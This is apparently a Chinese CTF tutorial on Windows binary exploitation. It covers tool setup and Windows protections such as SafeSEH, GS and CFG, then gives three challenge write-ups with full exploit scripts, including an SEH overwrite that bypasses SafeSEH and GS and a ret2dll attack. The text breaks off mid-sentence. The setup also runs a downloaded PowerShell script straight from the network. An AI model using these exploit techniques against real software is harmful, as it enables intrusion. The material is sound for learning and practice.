0x01 前言
近期的比赛中已经出现了很多和Windows pwn有关的题目,因此,本着学习的态度这里将总结我学习Windows Pwn中的学习历程。
本文主要介绍了Windows Pwn
中环境的搭建以及一些新的机制,辅以部分例题帮助理解。
0x02 环境搭建
优化Powershell显示
优化步骤使用@Lulus的知乎专栏
如果你不喜欢原有的powershell
显示风格,你可以运行下列命令来更换其显示风格:
iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))
choco feature enable -n allowGlobalConfirmation
choco install git
Install-Module posh-git
Install-Module oh-my-posh
Install-Module -Name PSReadLine -Force -SkipPublisherCheck
Install-Module Get-ChildItemColor -AllowClobber
Install-Module WindowsConsoleFonts
if (!(Test-Path -Path $PROFILE )) { New-Item -Type File -Path $PROFILE -Force }
@"
#requires -Version 2 -Modules posh-git
function Write-Theme {
param(
[bool]
`$lastCommandFailed,
[string]
`$with
)
`$lastColor = `$sl.Colors.PromptBackgroundColor
`$prompt = Write-Prompt -Object `$sl.PromptSymbols.StartSymbol -ForegroundColor `$sl.Colors.PromptForegroundColor -BackgroundColor `$sl.Colors.SessionInfoBackgroundColor
#check the last command state and indicate if failed
If (`$lastCommandFailed) {
`$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.FailedCommandSymbol) " -ForegroundColor `$sl.Colors.CommandFailedIconForegroundColor -BackgroundColor `$sl.Colors.SessionInfoBackgroundColor
}
#check for elevated prompt
If (Test-Administrator) {
`$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.ElevatedSymbol) " -ForegroundColor `$sl.Colors.AdminIconForegroundColor -BackgroundColor `$sl.Colors.SessionInfoBackgroundColor
}
`$user = [System.Environment]::UserName
`$computer = [System.Environment]::MachineName
`$path = Get-FullPath -dir `$pwd
if (Test-NotDefaultUser(`$user)) {
`$prompt += Write-Prompt -Object "`$user@`$computer " -ForegroundColor `$sl.Colors.SessionInfoForegroundColor -BackgroundColor `$sl.Colors.SessionInfoBackgroundColor
}
if (Test-VirtualEnv) {
`$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.SegmentForwardSymbol) " -ForegroundColor `$sl.Colors.SessionInfoBackgroundColor -BackgroundColor `$sl.Colors.VirtualEnvBackgroundColor
`$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.VirtualEnvSymbol) `$(Get-VirtualEnvName) " -ForegroundColor `$sl.Colors.VirtualEnvForegroundColor -BackgroundColor `$sl.Colors.VirtualEnvBackgroundColor
`$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.SegmentForwardSymbol) " -ForegroundColor `$sl.Colors.VirtualEnvBackgroundColor -BackgroundColor `$sl.Colors.PromptBackgroundColor
}
else {
`$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.SegmentForwardSymbol) " -ForegroundColor `$sl.Colors.SessionInfoBackgroundColor -BackgroundColor `$sl.Colors.PromptBackgroundColor
}
# Writes the drive portion
`$prompt += Write-Prompt -Object "`$path " -ForegroundColor `$sl.Colors.PromptForegroundColor -BackgroundColor `$sl.Colors.PromptBackgroundColor
`$status = Get-VCSStatus
if (`$status) {
`$themeInfo = Get-VcsInfo -status (`$status)
`$lastColor = `$themeInfo.BackgroundColor
`$prompt += Write-Prompt -Object `$(`$sl.PromptSymbols.SegmentForwardSymbol) -ForegroundColor `$sl.Colors.PromptBackgroundColor -BackgroundColor `$lastColor
`$prompt += Write-Prompt -Object " `$(`$themeInfo.VcInfo) " -BackgroundColor `$lastColor -ForegroundColor `$sl.Colors.GitForegroundColor
}
# Writes the postfix to the prompt
`$prompt += Write-Prompt -Object `$sl.PromptSymbols.SegmentForwardSymbol -ForegroundColor `$lastColor
`$timeStamp = Get-Date -UFormat %r
`$timestamp = "[`$timeStamp]"
`$prompt += Set-CursorForRightBlockWrite -textLength (`$timestamp.Length + 1)
`$prompt += Write-Prompt `$timeStamp -ForegroundColor `$sl.Colors.PromptForegroundColor
`$prompt += Set-Newline
if (`$with) {
`$prompt += Write-Prompt -Object "`$(`$with.ToUpper()) " -BackgroundColor `$sl.Colors.WithBackgroundColor -ForegroundColor `$sl.Colors.WithForegroundColor
}
`$prompt += Write-Prompt -Object (`$sl.PromptSymbols.PromptIndicator) -ForegroundColor `$sl.Colors.PromptBackgroundColor
`$prompt += ' '
`$prompt
}
`$sl = `$global:ThemeSettings #local settings
`$sl.PromptSymbols.StartSymbol = ''
`$sl.PromptSymbols.PromptIndicator = [char]::ConvertFromUtf32(0x276F)
`$sl.PromptSymbols.SegmentForwardSymbol = [char]::ConvertFromUtf32(0xE0B0)
`$sl.Colors.PromptForegroundColor = [ConsoleColor]::White
`$sl.Colors.PromptSymbolColor = [ConsoleColor]::White
`$sl.Colors.PromptHighlightColor = [ConsoleColor]::DarkBlue
`$sl.Colors.GitForegroundColor = [ConsoleColor]::Black
`$sl.Colors.WithForegroundColor = [ConsoleColor]::DarkRed
`$sl.Colors.WithBackgroundColor = [ConsoleColor]::Magenta
`$sl.Colors.VirtualEnvBackgroundColor = [System.ConsoleColor]::Red
`$sl.Colors.VirtualEnvForegroundColor = [System.ConsoleColor]::White
"@>"C:Program FilesWindowsPowerShellModulesoh-my-posh2.0.443ThemesParadox.psm1"
@"
chcp 65001
Set-PSReadlineOption -EditMode Emacs
function which(`$name) { Get-Command `$name | Select-Object Definition }
function rmrf(`$item) { Remove-Item `$item -Recurse -Force }
function mkfile(`$file) { "" | Out-File `$file -Encoding ASCII }
Import-Module posh-git
Import-Module oh-my-posh
Import-Module Get-ChildItemColor
Import-Module WindowsConsoleFonts
Set-Alias l Get-ChildItemColor -option AllScope
Set-Alias ls Get-ChildItemColorFormatWide -option AllScope
Set-Theme Paradox
"@ > $PROFILE
chcp 65001
Set-PSReadlineOption -EditMode Emacs
Import-Module posh-git
Import-Module oh-my-posh
Import-Module Get-ChildItemColor
Import-Module WindowsConsoleFonts
Set-Alias l Get-ChildItemColor -option AllScope
Set-Alias ls Get-ChildItemColorFormatWide -option AllScope
Set-Theme Paradox
git clone https://github.com/powerline/fonts.git
cd .fonts
.install.ps1
cd ..
del .fonts -Recurse -Force
⚠️:Line 92
需要修改为你的本地正确地址!
在那之后,修改Powershell -> 首选项 -> 字体
在那之后,修改Powershell -> 首选项 -> 颜色 -> 屏幕背景
配置Python2以及Python3环境
配置方法及过程此处不再赘述,但是注意,若因为优化了PowerShell
而导致了LookupError: unknown encoding: cp65001
,则需要添加一个环境变量:
安装winpwn
winpwn
更类似于pwntools
,用于本地的程序调试以及连接远程。
使用以下命令安装winpwn
这个包,并且安装相关依赖:
pip install winpwn
pip install pefile
pip install keystone-engine
pip install capstone
安装winchecksec
winchecksec
更类似于checksec
,用于Windows
程序的保护检查。
使用以下命令安装winchecksec
,并且安装相关依赖:
vcpkg install pe-parse:x86-windows
vcpkg install pe-parse:x64-windows
vcpkg install uthenticode:x86-windows
vcpkg install uthenticode:x64-windows
git clone https://github.com/trailofbits/winchecksec.git
cd winchecksec
mkdir build
cd build
cmake ..
cmake --build . --config Release
⚠️注意:这里首先需要安装vcpkg
作为核心依赖项,可以使用如下方法安装:
git clone https://github.com/Microsoft/vcpkg.git
cd vcpkg
.vcpkg.exe integrate install
这里需要特别注意,如果在执行.bootstrap-vcpkg.bat
时发生error MSB8040: 此项目需要缓解了 Spectre 漏洞的库。从 Visual Studio 安装程序(单个组件选项卡)为正在使用的任何工具集和 体系结构安装它们。了解详细信息: https://aka.ms/Ofhn4
则需要打开VisualStudio 2019 -> 修改 -> 单个组件
找到编译器、生成工具和运行时
选项组,勾选安装最新版本的带Spectre 漏洞
缓解的相关运行库。
⚠️注意:使用vcpkg
安装结束后需要进行环境变量的配置:
配置调试器
在Windows
下,我们常用的调试器有:x64dbg
、Windbg(Windows 10)
、gdb
、WindbgX(Windbg Preview)
。
- 对于
x64dbg
,直接从 https://x64dbg.com/ 下载即可。 - 对于
Windbg(Windows 10)
,需要先安装Windows SDK
(可通过Visual Studio
来进行安装),然后在应用和功能处修改添加。 - 对于
GDB
,需要通过MinGW-w64
来进行安装。 - 对于
WindbgX(Windbg Preview)
需要通过微软应用商店下载。 - 对于以上所有的工具,为了能用
winpwntools
直接唤起,需要进行额外配置,首先下载Pykd-Ext
,需要注意的是,Pykd-Ext
和Pykd
是不同的两个插件。将下载下来的两个dll
分别放置在正确的位置。在$HOME
文件夹下建立文件.winpwn
,内容如下:{ "debugger":{ "i386": { "x64dbg": "C:\Program Files (x86)\x64debug\release\x32\x32dbg.exe", "gdb": "", "windbg": "C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\windbg.exe", "windbgx": "C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\WinDbgX.exe" }, "amd64": { "x64dbg": "C:\Program Files (x86)\x64debug\release\x64\x64dbg.exe", "gdb": "", "windbg": "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe", "windbgx": "C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\WinDbgX.exe" } }, "debugger_init": { "i386": { "x64dbg": "", "gdb": "", "windbg": ".load C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\ext\pykd.dll;!py -g C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\ext\byinit.py;", "windbgx": ".load C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\ext32\pykd.dll;!py -g C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\ext32\byinit.py;" }, "amd64": { "x64dbg": "", "gdb": "", "windbg": ".load C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\ext\pykd.dll;!py -g C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\ext\byinit.py;", "windbgx": ".load C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\ext64\pykd.dll;!py -g C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\ext64\byinit.py;" } } }
⚠️:路径请自行调整。
0x03 Windows Pwn 基本知识
函数调用约定
- 由于函数调用约定大多只和架构相关,因此和
Linux
相比没有太大的变化。
Windows
程序保护
Windows
下有部分程序保护更换了名字或者有一些细节发生了改变,我们来详细列举。
-
ASLR
:与Linux
相同,ASLR
保护指的是地址随机化技术(Address Space Layout Randomization
),这项技术将在程序启动时将DLL
随机的加载到内存中的位置,这将缓解恶意程序的加载。ASLR
技术自Windows 10
开始已经在系统中被配置为默认启用。 -
High Entropy VA
:这个保护被称为高熵64位地址空间布局随机化,一旦开启,表示此程序的地址随机化的取值空间为64 bit
,这会导致攻击者更难去推测随机化后的地址。 -
Force Integrity
:这个保护被称为强制签名保护,一旦开启,表示此程序加载时需要验证其中的签名,如果签名不正确,程序将会被阻止运行。 -
Isolation
:这个保护被称为隔离保护,一旦开启,表示此程序加载时将会在一个相对独立的隔离环境中被加载,从而阻止攻击者过度提升权限。 -
NX/DEP/PAE
:与Linux
相同,NX
保护指的是内存页不可运行(No-eXecute
),这项技术是一项系统级的内存保护功能,使操作系统能够将一页或多页内存标记为不可执行,从而防止从该内存区域运行代码,以帮助防止利用缓冲区溢出。它帮助防止代码在数据页面(例如堆,栈和内存池)中运行,在Windows
中常称为DEP
(数据执行保护,即Data Execution Prevention
),同时引入了一个新的机制被称为PAE
(物理地址扩展,即Physical Address Extension
),PAE
是一项处理器功能,使x86
处理器可以在部分Windows
版本上访问4 GB
以上的物理内存。在基于x86
的系统上运行的某些32
位版本的Windows Server
可以使用PAE
访问最多64 GB
或128 GB
的物理内存,具体取决于处理器的物理地址大小。使用PAE
,操作系统将从两级线性地址转换转换为三级地址转换。两级线性地址转换将线性地址拆分为三个独立的字段索引到内存表中,三级地址转换将其拆分为四个独立的字段:一个2位的字段,两个9位的字段和一个12位的字段。PAE
模式下的页表条目(PTE
)和页目录条目(PDE
)的大小从32位增加到64位。附加位允许操作系统PTE或PDE引用4 GB以上的物理内存。同时,PAE
将允许在基于x64
的系统上运行的32位Windows
中启用DEP
等功能。 -
SEHOP
:即结构化异常处理保护(Structured Exception Handling Overwrite Protection
),这个保护能够防止攻击者利用结构化异常处理来进行进一步的利用。 -
CFG
:即控制流防护(Control Flow Guard
),这项技术通过在间接跳转前插入校验代码,检查目标地址的有效性,进而可以阻止执行流跳转到预期之外的地点, 最终及时并有效的进行异常处理,避免引发相关的安全问题。
简单的说,就是在程序间接跳转之前,会判断这个将要跳转的地址是否是合法的。 -
RFG
:即返回地址防护(Return Flow Guard
),这项技术会在每个函数头部将返回地址保存到fs:[rsp]
(Thread Control Stack
),并在函数返回前将其与栈上返回地址进行比较,从而有效阻止了这些攻击方式。 -
SafeSEH
:即安全结构化异常处理(Safe Structured Exception Handlers
),这项技术可以理解为一个白名单版的安全沙箱,它会事先为你定义一些异常处理程序,并基于此构造安全结构化异常处理表,程序正式运行后,安全结构化异常处理表之外的异常处理程序将会被阻止运行。 -
GS
:这个保护类似于Linux
中的Canary
保护,一旦开启,会在返回地址和BP
之前压入一个额外的Security Cookie
。系统会比较栈中的这个值和原先存放在.data
中的值做一个比较。如果两者不吻合,说法栈中发生了溢出。 -
Authenticode
:签名保护。 -
.NET
:DLL
混淆级保护。
新机制——结构化异常处理(SEH
机制)
结构化异常处理是Windows
操作系统上Microsoft
对C/C++
程序语言做的语法扩展,用于处理异常事件的程序控制结构。异常事件是指打断程序正常执行流程的不在期望之中的硬件、软件事件。硬件异常是CPU抛出的如“除0”、数值溢出等;软件异常是操作系统与程序通过RaiseException
语句抛出的异常。Microsoft
扩展了C语言的语法,用try-except
与try-finally
语句来处理异常。异常处理程序可以释放已经获取的资源、显示出错信息与程序内部状态供调试、从错误中恢复、尝试重新执行出错的代码或者关闭程序等等。一个__try
语句不能既有__except
,又有__finally
。但try-except
与try-finally
语句可以嵌套使用。
SEH
相关的重要结构体
TIB结构体
TIB
(Thread Information Block
,线程信息块)是保存线程基本信息的数据结构,它存在于x86
的机器上,它也被称为是Win32
的TEB
(Thread Environment Block
,线程环境块)。TIB/TEB
是操作系统为了保存每个线程的私有数据创建的,每个线程都有自己的TIB/TEB
。
TEB
结构位于Windows.h
,内容如下:
typedef struct _TEB {
PVOID Reserved1[12];
PPEB ProcessEnvironmentBlock;
PVOID Reserved2[399];
BYTE Reserved3[1952];
PVOID TlsSlots[64];
BYTE Reserved4[8];
PVOID Reserved5[26];
PVOID ReservedForOle;
PVOID Reserved6[4];
PVOID TlsExpansionSlots;
} TEB, *PTEB;
TIB
没有在Windows
文档中说明,这里从Wine
中可以看到结构如下:
// Code in https://source.winehq.org/source/include/winnt.h#2635
typedef struct _NT_TIB{
struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist; // 指向当前线程的 SEH
PVOID StackBase; // 当前线程所使用的栈的栈底
PVOID StackLimit; // 当前线程所使用的栈的栈顶
PVOID SubSystemTib; // 子系统
union {
PVOID FiberData;
ULONG Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self; //指向TIB结构自身
} NT_TIB;
在这个结构中与异常处理有关的成员是指向_EXCEPTION_REGISTRATION_RECORD
结构的Exceptionlist
指针
_EXCEPTION_REGISTRATION_RECORD
结构体
该结构体主要用于描述线程异常处理句柄的地址,多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系。
结构内容为:
// Code in https://source.winehq.org/source/include/winnt.h#2623
typedef struct _EXCEPTION_REGISTRATION_RECORD{
struct _EXCEPTION_REGISTRATION_RECORD *Next; // 指向下一个结构的指针
PEXCEPTION_ROUTINE Handler; // 当前异常处理回调函数的地址
}EXCEPTION_REGISTRATION_RECORD;
新机制——导入表和导出表
Windows程序没有延迟绑定机制自然也就没有PLT/GOT
表,但是Windows
程序显然也是要调用所谓的库函数的,Windows
下的函数库是DLL
文件,类似于Unix
下的libc
文件,程序调用库函数需要借助的就是导入表和导出表了。
导入表是PE
数据组织中的一个很重要的组成部分,它是为实现代码重用而设置的。通过分析导入表数据,可以获得诸如PE
文件的指令中调用了多少外来函数,以及这些外来函数都存在于哪些动态链接库里等信息。Windows
加载器在运行PE
时会将导入表中声明的动态链接库一并加载到进程的地址空间,并修正指令代码中调用的函数地址。在数据目录中一共有四种类型的数据与导入表数据有关: 导入表、导入函数地址表、绑定导入表、延迟加载导入表。
程序中,导入表的地址通常位于.idata
段
0x04 以[HITB GSEC]BABYSTACK为例
程序保护检查
程序漏洞分析
程序漏洞还是较为明显的:
在Line 34
中,我们向choice
这个局部变量写入了0x100
个字节,这会造成栈溢出漏洞.
同时我们事实上可以发现程序中预留了后门语句
那么我们接下来只要能劫持EIP
就能成功完成漏洞利用,程序开启了GS
保护,因此我们无法直接劫持返回地址。
进一步分析main
函数发现,程序在main
中注册了一个异常处理函数,如果一个程序中注册了一个异常处理函数,那么当该函数运行发生异常时将会由该异常处理函数进行异常的捕获及处理。
我们尝试使用WinDbg
附加到此程序,然后尝试读0
地址处的值。
发现程序确实转而去调用注册了的SEH
了,又发现,程序在压入EBP
后,压入栈的第三个数即为SEH
地址,恰好在我们的可控范围,于是我们可以依据此来控制执行流。
程序漏洞利用
控制执行流
首先我们来写一个不触发漏洞利用的交互EXP
Stack_address = get_address(sh=sh,info="[+] STACK ADDRESS IS ",start_string="stack address = 0x",end_string="x0A",int_mode=True)
PIE_address = get_address(sh=sh,info="[+] PIE ADDRESS IS ",start_string="main address = 0x",end_string="x0A",offset=-0x10B0,int_mode=True)
sh.recvuntil('Do you want to know more?')
sh.sendline('noo')
payload = 'A' * 0x10
get_gdb(sh)
sh.sendline(payload)
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()
可以发现,异常正常被捕获,接下来,我们来写一个触发漏洞利用的交互EXP
Stack_address = get_address(sh=sh,info="[+] STACK ADDRESS IS ",start_string="stack address = 0x",end_string="x0A",int_mode=True)
PIE_address = get_address(sh=sh,info="[+] PIE ADDRESS IS ",start_string="main address = 0x",end_string="x0A",offset=-0x10B0,int_mode=True)
sh.recvuntil('Do you want to know more?')
sh.sendline('noo')
payload = 'A' * 0x90 + p32(0xDEADBEEF)
get_gdb(sh)
sh.sendline(payload)
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()
可以发现,原有的异常捕获函数将不再被运行。
Safe-SEH
绕过
但我们注意到,尽管我们已经屏蔽了原有的SEH
,但是,我们没有将流程劫持到0xDEADBEEF
!
这是因为Safe-SEH
的开启,导致不在__safe_se_handler_table
中的SEH
均不会被运行,那么就不限于0xDEADBEEF
了,程序预留的后门必然也不是不合条件的SEH
,那么我们接下来就要绕过Safe-SEH
了。
那么,我们来分析程序中注册的__except_handler4
异常,由于Windows
是不开源的系统,因此我们只能通过逆向的手段来去查看相关伪代码,相关代码存在于MSVCRT.dll
。
将代码进行简单的优化以及重命名可以得到以下伪代码:
int __cdecl _except_handler4_common(unsigned int *CookiePointer, void (__fastcall *CookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *ExceptionRecord, _EXCEPTION_REGISTRATION_RECORD *EstablisherFrame, _CONTEXT *ContextRecord)
{
ScopeTable = (_EH4_SCOPETABLE *)(*CookiePointer ^ EstablisherFrame + 8);
ValidateLocalCookies(CookieCheckFunction, ScopeTable, &EstablisherFrame + 16);
__except_validate_context_record(ContextRecord);
if ( ExceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = ExceptionRecord;
exceptionPointers.ContextRecord = ContextRecord;
tryLevel = *(_DWORD *)(EstablisherFrame + 12);
*(_DWORD *)(EstablisherFrame - 4) = &ExceptionPointers;
if ( tryLevel != -2 )
{
do
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = *(&ScopeTable->GSCookieOffset + v8);
scopeTableRecord = &ScopeTable->GSCookieOffset + v8;
encloseingLevel = scopeTableRecord->EnclosingLevel;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc, EstablisherFrame + 2);
......
if ( filterFuncRet > 0 )
{
// 调用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord->HandlerFunc, v5);
......
}
}
else
{
......
}
tryLevel = encloseingLevel;
}while ( encloseingLevel != -2 );
......
}
}
......
}
分析可以发现,在Line 32
处,程序实际执行了filterFunc(EstablisherFrame + 2)
,那么,我们只需要控制filterFunc
和EstablisherFrame
这两个值事实上就可以控制执行流程了。
那么我们来看SEH
的栈结构:
Scope Table
+-------------------+
| GSCookieOffset |
+-------------------+
| GSCookieXorOffset |
+-------------------+
EH4 Stack | EHCookieOffset |
+-------------------+ +-------------------+
High | ...... | | EHCookieXorOffset |
+-------------------+ +-------------------+
ebp | ebp | +-----------> EncloseingLevel <--+-> 0xFFFFFFFE
+-------------------+ | Level 0 +-------------------+ |
ebp - 04h | TryLevel +---+ | FilterFunc | |
+-------------------+ | +-------------------+ |
ebp - 08h | Scope Table | | | HandlerFunc | |
+-------------------+ | +-------------------+ |
ebp - 0Ch | ExceptionHandler | +-----------> EncloseingLevel +--+-> 0x00000000
+-------------------+ Level 1 +-------------------+
ebp - 10h | Next | | FilterFunc |
+-------------------+ +-------------------+
ebp - 14h | ExceptionPointers +----+ | HandlerFunc |
+-------------------+ | +-------------------+
ebp - 18h | esp | |
+-------------------+ | ExceptionPointers
Low | ...... | | +-------------------+
+-------------------+ +----------> ExceptionRecord |
+-------------------+
| ContextRecord |
+-------------------+
在处理程序的一开始我们可以看到,为了要伪造FilterFunc
,我们需要知道CookiePointer
的值,这个值储存在__security_cookie
的内存处,且与程序加载位置偏移固定,于是可以直接通过main
函数地址的位置进行计算获得!
事实上,接下来其实还有个问题,在异常处理中可以看到有ValidateLocalCookies(CookieCheckFunction, ScopeTable, &EstablisherFrame + 16);
我们来看看此处的实现:
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3
if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}
这里事实上就是检查要求*(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset]
的值必须为__security_cookie
,以及*(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset]
的值必须为__security_cookie
。
从上图的结构图可以看出我们事实上可以劫持scopeTable
的地址!那么我们可以让scopeTable->GSCookieOffset
的值为-2
,这样程序将不会继续检查*(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
。
那么我们可以构造Payload
:
payload = 'a' * 0x10
payload += p32(0x0FFFFFFFE) # scopeTable -> GSCookieOffset
payload += p32(0)
payload += p32(0x0FFFFFFCC) # scopeTable -> EHCookieOffset
payload += p32(0)
payload = payload.ljust(0x70, 'b')
payload += p32(GS_Cookie) # framePointer[scopeTable->EHCookieOffset]
payload += 'c' * 0x20
payload += p32(stack_address + 0xD4)
payload += p32(PIE_address + 0x1460)
payload += p32((stack_address + 0x10) ^ security_cookie) # scopeTable
payload += p32(0)
payload += 'd' * 0x10 # framePointer
可以发现,该检查已经通过!
最终劫持控制流到Shell
接下来我们只需要伪造FilterFunc
到程序后门即可完成利用。
Final Exploit
from winpwn import *
import os
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'
# file_name=ELF('./file_name', checksec = False)
def get_sh():
if len(sys.argv) > 1 and sys.argv[1] == 'REMOTE' :
return remote(sys.argv[2],sys.argv[3])
else:
return process("./BABYSTACK.exe")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string).strip(end_string),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].strip(end_string).ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
print(info + str(hex(return_address)))
return return_address
# def get_flag(sh):
# sh.sendline('cat /flag')
# return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
windbgx.attach(sh)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
stack_address = get_address(sh=sh,info="[+] STACK ADDRESS IS ",start_string="stack address = 0x",end_string="x0A",int_mode=True)
PIE_address = get_address(sh=sh,info="[+] PIE ADDRESS IS ",start_string="main address = 0x",end_string="x0A",offset=-0x10B0,int_mode=True)
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline(str(PIE_address + 0x4004))
security_cookie = get_address(sh=sh,info="[+] Security Cookie IS ",start_string=" value is 0x",end_string="x0A",int_mode=True)
GS_Cookie = (stack_address + 0x9C) ^ security_cookie
payload = 'a' * 0x10
payload += p32(0x0FFFFFFFE)
payload += p32(0)
payload += p32(0x0FFFFFFCC)
payload += p32(0)
payload += p32(0xFFFFFFFE)
payload += p32(PIE_address + 0x138D)
payload = payload.ljust(0x78 - 0x10, 'b')
payload += p32(GS_Cookie)
payload += 'c' * 0x20
payload += p32(stack_address + 0xD4)
payload += p32(PIE_address + 0x1460)
payload += p32((stack_address + 0x10) ^ security_cookie)
payload += p32(0)
payload += 'd' * 0x10
sh.recvuntil('Do you want to know more?')
# get_gdb(sh)
sh.sendline('noo')
sh.sendline(payload)
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
os.system("")
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
0x05 以[root-me]PE32 – Stack buffer overflow basic为例
程序保护检查
发现基本是无保护程序
程序漏洞分析
存在一个明显的栈溢出
存在后门函数
程序漏洞利用
直接利用常规的栈溢出思路,覆盖返回地址以及EBP
Final Exploit
from winpwn import *
import os
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'
# file_name=ELF('./file_name', checksec = False)
def get_sh():
if len(sys.argv) > 1 and sys.argv[1] == 'REMOTE' :
return remote(sys.argv[2],sys.argv[3])
else:
return process("./ch72.exe")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string).strip(end_string),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].strip(end_string).ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
print(info + str(hex(return_address)))
return return_address
# def get_flag(sh):
# sh.sendline('cat /flag')
# return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
windbgx.attach(sh)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
payload = 'a' * 0x14 + p32(0xDEADBEEF)
payload += p32(0x401000)
# get_gdb(sh)
sh.sendline(payload)
sh.interactive()
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
os.system("")
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
0x06 以[root-me]Advanced stack buffer overflow为例
程序保护检查
程序漏洞分析
这个题需要我们在运行时提交一个文件作为餐数,然后会读取其中的内容作为manage_file
函数的参数传入
然后程序就会将文件的内容读取到局部变量中
但是显然这里没有做很好的长度过滤,这会导致栈溢出的发生。
这一次程序中不再有后门函数以供我们利用,于是我们这次使用ret2dll
完成利用。
程序漏洞利用
由于程序没有开启PIE
保护,系统也没有开启aslr
于是可以不用考虑Leak
相关地址后程序崩溃的问题,因为相关地址并不会发生任何的改变。
泄露合法文件地址
由于我们触发栈溢出后必然会影响fclose
的参数,于是我们先行泄露:
payload = p32(0) * 100
open('./payload_0','w').write(payload)
泄露DLL加载地址
我们可以利用printf
函数来泄露并计算DLL
文件的加载基址。
payload = p32(0x76284660) * (0x2014 / 4) + p32(0xDEADBEEF)
payload += p32(0x00402974) # printf@plt
payload += p32(0x004016E3) # _manage_file
payload += p32(0x00406200) # printf@got
open('./payload_1','w').write(payload)
又可以从IDA
中看出DLL
文件位于msvcrt.dll
,文件位于C:WindowsSystemSysWOW64
目录下。
于是可以计算出DLL
